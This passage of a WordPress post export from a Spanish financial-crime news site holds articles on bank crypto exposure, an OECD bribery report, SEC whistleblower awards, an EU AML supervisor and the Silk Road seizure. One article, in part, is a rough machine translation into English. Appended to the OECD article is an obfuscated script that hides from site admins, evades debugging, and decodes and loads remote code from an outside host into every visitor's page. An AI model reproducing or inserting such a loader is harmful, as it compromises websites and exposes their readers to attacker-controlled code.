efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, 